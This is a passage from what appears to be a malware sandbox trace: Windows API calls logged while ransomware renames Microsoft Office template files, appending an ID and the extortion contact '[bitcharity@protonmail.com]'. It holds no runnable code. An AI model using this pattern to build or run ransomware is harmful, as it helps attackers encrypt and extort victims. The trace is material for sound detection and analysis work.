Office\\root\\Office16\\PUBBA\\MSPUB7.BDR.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubba\\mspub7.bdr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.006] CloseHandle (hObject=0xff0) returned 1 [0271.508] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.508] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\MSPUB8.BDR.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubba\\mspub8.bdr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.508] CloseHandle (hObject=0x1114) returned 1 [0271.679] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.679] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\MARQUEE.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\marquee.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.680] CloseHandle (hObject=0x1078) returned 1 [0271.681] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.681] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\MENU.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\menu.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.681] CloseHandle (hObject=0x1078) returned 1 [0271.746] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.746] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\MENU98.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\menu98.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.746] CloseHandle (hObject=0x1278) returned 1 [0271.746] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.747] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\RES98.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\res98.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.747] CloseHandle (hObject=0x1278) returned 1 [0271.747] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.747] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\RESP98.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\resp98.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.748] CloseHandle (hObject=0x1278) returned 1 [0271.749] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.749] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\RESUME.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\resume.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.749] CloseHandle (hObject=0x1278) returned 1 [0271.751] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.751] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\RSPMECH.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\rspmech.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.751] CloseHandle (hObject=0x1278) returned 1 [0271.753] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.754] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\SIDBAR98.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\sidbar98.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.754] CloseHandle (hObject=0x1104) returned 1 [0271.756] SetFilePointerEx (in: hFile=0x1134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.756] SetFilePointerEx (in: hFile=0x1134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\SIDEBARBB.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\sidebarbb.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.757] CloseHandle (hObject=0x1134) returned 1 [0271.757] SetFilePointerEx (in: hFile=0x1134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.757] SetFilePointerEx (in: hFile=0x1134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\SIDEBARBB.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\sidebarbb.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.758] CloseHandle (hObject=0x1134) returned 1 [0271.758] SetFilePointerEx (in: hFile=0x1134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.758] SetFilePointerEx (in: hFile=0x1134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\SIDEBARVERTBB.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\sidebarvertbb.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.759] CloseHandle (hObject=0x1134) returned 1 [0271.759] SetFilePointerEx (in: hFile=0x1134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.759] SetFilePointerEx (in: hFile=0x1134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\SIDEBARVERTBB.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\sidebarvertbb.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.760] CloseHandle (hObject=0x1134) returned 1 [0271.760] SetFilePointerEx (in: hFile=0x1134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.760] SetFilePointerEx (in: hFile=0x1134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\SIGN.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\sign.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.761] CloseHandle (hObject=0x1134) returned 1 [0271.761] SetFilePointerEx (in: hFile=0x1134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.761] SetFilePointerEx (in: hFile=0x1134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\SIGN98.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\sign98.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.762] CloseHandle (hObject=0x1134) returned 1 [0271.762] SetFilePointerEx (in: hFile=0x1134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.762] SetFilePointerEx (in: hFile=0x1134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\SIGNHM.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\signhm.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.763] CloseHandle (hObject=0x1134) returned 1 [0271.763] SetFilePointerEx (in: hFile=0x1134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.763] SetFilePointerEx (in: hFile=0x1134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\SNIPE.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\snipe.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.763] CloseHandle (hObject=0x1134) returned 1 [0271.764] SetFilePointerEx (in: hFile=0x1134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.765] SetFilePointerEx (in: hFile=0x1134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\STORYBB.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\storybb.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.765] CloseHandle (hObject=0x1134) returned 1 [0271.767] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.767] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\STORYBB.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\storybb.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.768] CloseHandle (hObject=0x1268) returned 1 [0271.768] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.769] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\STORYVERTBB.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\storyvertbb.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.769] CloseHandle (hObject=0x1268) returned 1 [0271.770] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.770] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\STORYVERTBB.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\storyvertbb.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.770] CloseHandle (hObject=0x1268) returned 1 [0271.772] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.772] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\STRBRST.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\strbrst.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.772] CloseHandle (hObject=0x1278) returned 1 [0271.773] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.773] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\TEAROFF.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\tearoff.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.773] CloseHandle (hObject=0x1278) returned 1 [0271.774] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.774] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\TOC98.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\toc98.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.774] CloseHandle (hObject=0x1278) returned 1 [0271.775] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.775] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\WCOMP98.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\wcomp98.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.775] CloseHandle (hObject=0x1278) returned 1 [0271.777] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.777] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0271.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\WEB11.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\web11.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.777] CloseHandle (hObject=0x1278) returned 1 [0272.424] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0272.425] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0272.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\WEBCALSO.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\webcalso.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.425] CloseHandle (hObject=0x1278) returned 1 [0272.426] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0272.426] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0272.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\WEBHED98.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\webhed98.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.426] CloseHandle (hObject=0x1278) returned 1 [0272.428] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0272.428] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0272.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\WEBHOME.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\webhome.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.428] CloseHandle (hObject=0x1278) returned 1 [0272.429] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0272.429] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0272.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\WEBLINK.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\weblink.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.429] CloseHandle (hObject=0x1278) returned 1 [0272.430] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0272.430] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0272.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\WEBPAGE.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\webpage.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.430] CloseHandle (hObject=0x1278) returned 1 [0272.431] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0272.432] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0272.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\WITHCOMP.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\withcomp.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.432] CloseHandle (hObject=0x1278) returned 1 [0272.433] SetFilePointerEx (in: hFile=0x1278, 